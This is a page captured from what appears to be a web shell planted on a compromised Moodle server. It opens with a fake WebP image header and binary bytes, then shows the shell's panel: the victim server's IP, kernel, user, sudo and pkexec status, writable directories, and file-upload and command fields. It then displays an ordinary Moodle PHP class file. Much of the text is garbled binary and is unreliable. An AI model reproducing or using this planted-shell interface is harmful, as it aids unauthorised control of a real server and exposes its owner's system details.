....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 41.207.40.59  /  Your IP : 216.73.216.58
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux srv-prod 5.15.0-157-generic #167-Ubuntu SMP Wed Sep 17 21:35:53 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/formation/lib/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/formation/lib/classes/lang_string.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core;

use core\exception\coding_exception;
use stdClass;

/**
 * The lang_string class
 *
 * This special class is used to create an object representation of a string request.
 * It is special because processing doesn't occur until the object is first used.
 * The class was created especially to aid performance in areas where strings were
 * required to be generated but were not necessarily used.
 * As an example the admin tree when generated uses over 1500 strings, of which
 * normally only 1/3 are ever actually printed at any time.
 * The performance advantage is achieved by not actually processing strings that
 * aren't being used, as such reducing the processing required for the page.
 *
 * How to use the lang_string class?
 *     There are two methods of using the lang_string class, first through the
 *     forth argument of the get_string function, and secondly directly.
 *     The following are examples of both.
 * 1. Through get_string calls e.g.
 *     $string = get_string($identifier, $component, $a, true);
 *     $string = get_string('yes', 'moodle', null, true);
 * 2. Direct instantiation
 *     $string = new lang_string($identifier, $component, $a, $lang);
 *     $string = new lang_string('yes');
 *
 * How do I use a lang_string object?
 *     The lang_string object makes use of a magic __toString method so that you
 *     are able to use the object exactly as you would use a string in most cases.
 *     This means you are able to collect it into a variable and then directly
 *     echo it, or concatenate it into another string, or similar.
 *     The other thing you can do is manually get the string by calling the
 *     lang_strings out method e.g.
 *         $string = new lang_string('yes');
 *         $string->out();
 *     Also worth noting is that the out method can take one argument, $lang which
 *     allows the developer to change the language on the fly.
 *
 * When should I use a lang_string object?
 *     The lang_string object is designed to be used in any situation where a
 *     string may not be needed, but needs to be generated.
 *     The admin tree is a good example of where lang_string objects should be
 *     used.
 *     A more practical example would be any class that requires strings that may
 *     not be printed (after all classes get rendered by renderers and who knows
 *     what they will do ;))
 *
 * When should I not use a lang_string object?
 *     Don't use lang_strings when you are going to use a string immediately.
 *     There is no need as it will be processed immediately and there will be no
 *     advantage, and in fact perhaps a negative hit as a class has to be
 *     instantiated for a lang_string object, however get_string won't require
 *     that.
 *
 * Limitations:
 * 1. You cannot use a lang_string object as an array offset. Doing so will
 *     result in PHP throwing an error. (You can use it as an object property!)
 *
 * @package     core
 * @copyright   2011 Sam Hemelryk
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class lang_string {

    /** @var string The strings component. Default '' */
    protected ?string $component = '';

    /** @var array|stdClass Any arguments required for the string. Default null */
    protected mixed $a = null;

    /** @var string The processed string (once processed) */
    protected ?string $string = null;

    /**
     * A special boolean. If set to true then the object has been woken up and
     * cannot be regenerated. If this is set then $this->string MUST be used.
     * @var bool
     */
    protected bool $forcedstring = false;

    /**
     * Constructs a lang_string object
     *
     * This function should do as little processing as possible to ensure the best
     * performance for strings that won't be used.
     *
     * @param string $identifier The strings identifier
     * @param string|null $component The strings component
     * @param mixed $a Any arguments the string requires
     * @param string|null $lang The language to use when processing the string.
     * @throws coding_exception
     */
    public function __construct(
        /** @var string The strings identifier */
        protected readonly string $identifier,
        ?string $component = '',
        mixed $a = null,
        /** @var string The language to use when processing the string*/
        protected readonly ?string $lang = null,
    ) {
        if (empty($component)) {
            $component = 'moodle';
        }

        $this->component = $component;

        // We MUST duplicate $a to ensure that it if it changes by reference those
        // changes are not carried across.
        // To do this we always ensure $a or its properties/values are strings
        // and that any properties/values that arn't convertable are forgotten.
        if ($a !== null) {
            if (is_scalar($a)) {
                $this->a = $a;
            } else if ($a instanceof lang_string) {
                $this->a = $a->out();
            } else if (is_object($a) || is_array($a)) {
                $a = (array)$a;
                $this->a = [];
                foreach ($a as $key => $value) {
                    // Make sure conversion errors don't get displayed (results in '').
                    if (is_array($value)) {
                        $this->a[$key] = '';
                    } else if (is_object($value)) {
                        if (method_exists($value, '__toString')) {
                            $this->a[$key] = $value->__toString();
                        } else {
                            $this->a[$key] = '';
                        }
                    } else {
                        $this->a[$key] = (string)$value;
                    }
                }
            }
        }

        if (debugging(false, DEBUG_DEVELOPER)) {
            if (clean_param($this->identifier, PARAM_STRINGID) == '') {
                throw new coding_exception('Invalid string identifier. Most probably some illegal character is part of ' .
                    'the string identifier. Please check your string definition');
            }
            if (!empty($this->component) && clean_param($this->component, PARAM_COMPONENT) == '') {
                throw new coding_exception('Invalid string compontent. Please check your string definition');
            }
            if (!get_string_manager()->string_exists($this->identifier, $this->component)) {
                debugging('String does not exist. Please check your string definition for '.$this->identifier.'/'.$this->component,
                    DEBUG_DEVELOPER);
            }
        }
    }

    /**
     * Processes the string.
     *
     * This function actually processes the string, stores it in the string property
     * and then returns it.
     * You will notice that this function is VERY similar to the get_string method.
     * That is because it is pretty much doing the same thing.
     * However as this function is an upgrade it isn't as tolerant to backwards
     * compatibility.
     *
     * @return string
     * @throws coding_exception
     */
    protected function get_string(): string {
        global $CFG;

        // Check if we need to process the string.
        if ($this->string === null) {
            // Check the quality of the identifier.
            if ($CFG->debugdeveloper && clean_param($this->identifier, PARAM_STRINGID) === '') {
                throw new coding_exception('Invalid string identifier. Most probably some illegal character is part of ' .
                    'the string identifier. Please check your string definition', DEBUG_DEVELOPER);
            }

            // Process the string.
            $this->string = get_string_manager()->get_string($this->identifier, $this->component, $this->a, $this->lang);
            // Debugging feature lets you display string identifier and component.
            if (isset($CFG->debugstringids) && $CFG->debugstringids && optional_param('strings', 0, PARAM_INT)) {
                $this->string .= ' {' . $this->identifier . '/' . $this->component . '}';
            }
        }
        // Return the string.
        return $this->string;
    }

    /**
     * Returns the string
     *
     * @param string $lang The langauge to use when processing the string
     * @return string
     */
    public function out($lang = null): string {
        if ($lang !== null && $lang != $this->lang && ($this->lang == null && $lang != current_language())) {
            if ($this->forcedstring) {
                debugging('lang_string objects that have been used cannot be printed in another language. ('.$this->lang.' used)',
                    DEBUG_DEVELOPER);
                return $this->get_string();
            }
            $translatedstring = new lang_string($this->identifier, $this->component, $this->a, $lang);
            return $translatedstring->out();
        }
        return $this->get_string();
    }

    /**
     * Magic __toString method for printing a string
     *
     * @return string
     */
    public function __toString() {
        return $this->get_string();
    }

    /**
     * Magic __set_state method used for var_export
     *
     * @param array $array
     * @return self
     */
    public static function __set_state(array $array): self {
        $tmp = new lang_string($array['identifier'], $array['component'], $array['a'], $array['lang']);
        $tmp->string = $array['string'];
        $tmp->forcedstring = $array['forcedstring'];
        return $tmp;
    }

    /**
     * Prepares the lang_string for sleep and stores only the forcedstring and
     * string properties... the string cannot be regenerated so we need to ensure
     * it is generated for this.
     *
     * @return array
     */
    public function __sleep() {
        $this->get_string();
        $this->forcedstring = true;
        return ['forcedstring', 'string', 'lang'];
    }

    /**
     * Returns the identifier.
     *
     * @return string
     */
    public function get_identifier(): string {
        return $this->identifier;
    }

    /**
     * Returns the component.
     *
     * @return string
     */
    public function get_component(): string {
        return $this->component;
    }
}

// Alias this class to the old name.
// This file will be autoloaded by the legacyclasses autoload system.
// In future all uses of this class will be corrected and the legacy references will be removed.
class_alias(lang_string::class, \lang_string::class);

Youez - 2016 - github.com/yon3zu
LinuXploit